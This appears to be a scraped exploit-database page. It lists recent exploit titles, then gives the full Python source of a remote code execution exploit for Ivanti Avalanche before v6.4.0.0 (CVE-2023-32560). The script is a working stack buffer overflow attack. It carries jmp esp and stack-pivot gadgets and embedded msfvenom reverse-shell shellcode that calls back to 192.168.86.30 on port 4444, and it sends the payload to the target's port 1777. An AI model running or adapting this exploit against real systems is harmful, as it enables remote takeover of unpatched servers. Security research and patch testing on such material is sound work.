4e246a01fb
18 changes to exploits/shellcodes/ghdb
DLINK DPH-400SE - Exposure of Sensitive Information
FileMage Gateway 1.10.9 - Local File Inclusion
Academy LMS 6.1 - Arbitrary File Upload
AdminLTE PiHole 5.18 - Broken Access Control
Blood Donor Management System v1.0 - Stored XSS
Bus Reservation System 1.1 - Multiple-SQLi
Credit Lite 1.5.4 - SQL Injection
CSZ CMS 1.3.0 - Stored Cross-Site Scripting ('Photo URL' and 'YouTube URL' )
CSZ CMS 1.3.0 - Stored Cross-Site Scripting (Plugin 'Gallery')
Hyip Rio 2.1 - Arbitrary File Upload
Member Login Script 3.3 - Client-side desync
SPA-Cart eCommerce CMS 1.9.0.3 - Reflected XSS
Webedition CMS v2.9.8.8 - Remote Code Execution (RCE)
Webedition CMS v2.9.8.8 - Stored XSS
Webedition CMS v2.9.8.8 - Remote Code Execution (RCE)
Webedition CMS v2.9.8.8 - Stored XSS
WP Statistics Plugin 13.1.5 current_page_id - Time based SQL injection (Unauthenticated)
Freefloat FTP Server 1.0 - 'PWD' Remote Buffer Overflow
Kingo ROOT 1.5.8 - Unquoted Service Path
NVClient v5.0 - Stack Buffer Overflow (DoS)
Ivanti Avalanche <v6.4.0.0 - Remote Code Execution
122 lines
No EOL
3.9 KiB
Python
Executable file
122 lines
No EOL
3.9 KiB
Python
Executable file
"""
|
|
Exploit Title: Ivanti Avalanche <v6.4.0.0 - Remote Code Execution
|
|
Date: 2023-08-16
|
|
Exploit Author: Robel Campbell (@RobelCampbell)
|
|
Vendor Homepage: https://www.ivanti.com/
|
|
Software Link: https://www.wavelink.com/download/Downloads.aspx?DownloadFile=27550&returnUrl=/Download-Avalanche_Mobile-Device-Management-Software/
|
|
Version: v6.4.0.0
|
|
Tested on: Windows 11 21H2
|
|
CVE: CVE-2023-32560
|
|
Reference: https://www.tenable.com/security/research/tra-2023-27
|
|
"""
|
|
|
|
import socket
|
|
import struct
|
|
import sys
|
|
|
|
# Create an item structure for the header and payload
|
|
class Item:
|
|
def __init__(self, type_, name, value):
|
|
self.type = type_
|
|
self.name = name.encode()
|
|
self.value = value
|
|
self.name_size = 0x5
|
|
self.value_size = 0x800
|
|
|
|
def pack(self):
|
|
return struct.pack('>III{}s{}s'.format(self.name_size, self.value_size),
|
|
self.type, self.name_size, self.value_size, self.name, self.value)
|
|
|
|
# Create a header structure
|
|
class HP:
|
|
def __init__(self, hdr, payload):
|
|
self.hdr = hdr
|
|
self.payload = payload
|
|
self.pad = b'\x00' * (16 - (len(self.hdr) + len(self.payload)) % 16)
|
|
|
|
def pack(self):
|
|
return b''.join([item.pack() for item in self.hdr]) + \
|
|
b''.join([item.pack() for item in self.payload]) + self.pad
|
|
|
|
# Create a preamble structure
|
|
class Preamble:
|
|
def __init__(self, hp):
|
|
self.msg_size = len(hp.pack()) + 16
|
|
self.hdr_size = sum([len(item.pack()) for item in hp.hdr])
|
|
self.payload_size = sum([len(item.pack()) for item in hp.payload])
|
|
self.unk = 0 # Unknown value
|
|
|
|
def pack(self):
|
|
return struct.pack('>IIII', self.msg_size, self.hdr_size, self.payload_size, self.unk)
|
|
|
|
# Create a message structure
|
|
class Msg:
|
|
def __init__(self, hp):
|
|
self.pre = Preamble(hp)
|
|
self.hdrpay = hp
|
|
|
|
def pack(self):
|
|
return self.pre.pack() + self.hdrpay.pack()
|
|
|
|
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.86.30 LPORT=4444 exitfunc=thread -f python
|
|
shellcode = b""
|
|
shellcode += b"fce8820000006089e531c064"
|
|
shellcode += b"8b50308b520c8b52148b7228"
|
|
shellcode += b"0fb74a2631ffac3c617c022c"
|
|
shellcode += b"20c1cf0d01c7e2f252578b52"
|
|
shellcode += b"108b4a3c8b4c1178e34801d1"
|
|
shellcode += b"518b592001d38b4918e33a49"
|
|
shellcode += b"8b348b01d631ffacc1cf0d01"
|
|
shellcode += b"c738e075f6037df83b7d2475"
|
|
shellcode += b"e4588b582401d3668b0c4b8b"
|
|
shellcode += b"581c01d38b048b01d0894424"
|
|
shellcode += b"245b5b61595a51ffe05f5f5a"
|
|
shellcode += b"8b12eb8d5d68333200006877"
|
|
shellcode += b"73325f54684c772607ffd5b8"
|
|
shellcode += b"9001000029c454506829806b"
|
|
shellcode += b"00ffd5505050504050405068"
|
|
shellcode += b"ea0fdfe0ffd5976a0568c0a8"
|
|
shellcode += b"561e680200115c89e66a1056"
|
|
shellcode += b"576899a57461ffd585c0740c"
|
|
shellcode += b"ff4e0875ec68f0b5a256ffd5"
|
|
shellcode += b"68636d640089e357575731f6"
|
|
shellcode += b"6a125956e2fd66c744243c01"
|
|
shellcode += b"018d442410c6004454505656"
|
|
shellcode += b"5646564e565653566879cc3f"
|
|
shellcode += b"86ffd589e04e5646ff306808"
|
|
shellcode += b"871d60ffd5bbe01d2a0a68a6"
|
|
shellcode += b"95bd9dffd53c067c0a80fbe0"
|
|
shellcode += b"7505bb4713726f6a0053ffd5"
|
|
|
|
buf = b'90' * 340
|
|
buf += b'812b4100' # jmp esp (0x00412b81)
|
|
buf += b'90909090'
|
|
buf += b'90909090'
|
|
buf += shellcode
|
|
buf += b'41' * 80
|
|
buf += b'84d45200' # stack pivot: add esp, 0x00000FA0 ; retn 0x0004 ; (0x0052d484)
|
|
buf += b'43' * (0x800 - len(buf))
|
|
|
|
buf2 = b'41' * 0x1000
|
|
|
|
# Create message payload
|
|
hdr = [Item(3, "pwned", buf)]
|
|
payload = [Item(3, "pwned", buf2)] # dummy payload, probabaly not necessary
|
|
hp_instance = HP(hdr, payload)
|
|
msg_instance = Msg(hp_instance)
|
|
|
|
# Default port
|
|
port = 1777
|
|
|
|
# check for target host argument
|
|
if len(sys.argv) > 1:
|
|
host = sys.argv[1]
|
|
else:
|
|
print("Usage: python3 CVE-2023-32560.py <host ip>")
|
|
sys.exit()
|
|
|
|
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
|
|
s.connect((host, port))
|
|
s.sendall(msg_instance.pack())
|
|
print("Message sent!")
|
|
s.close() |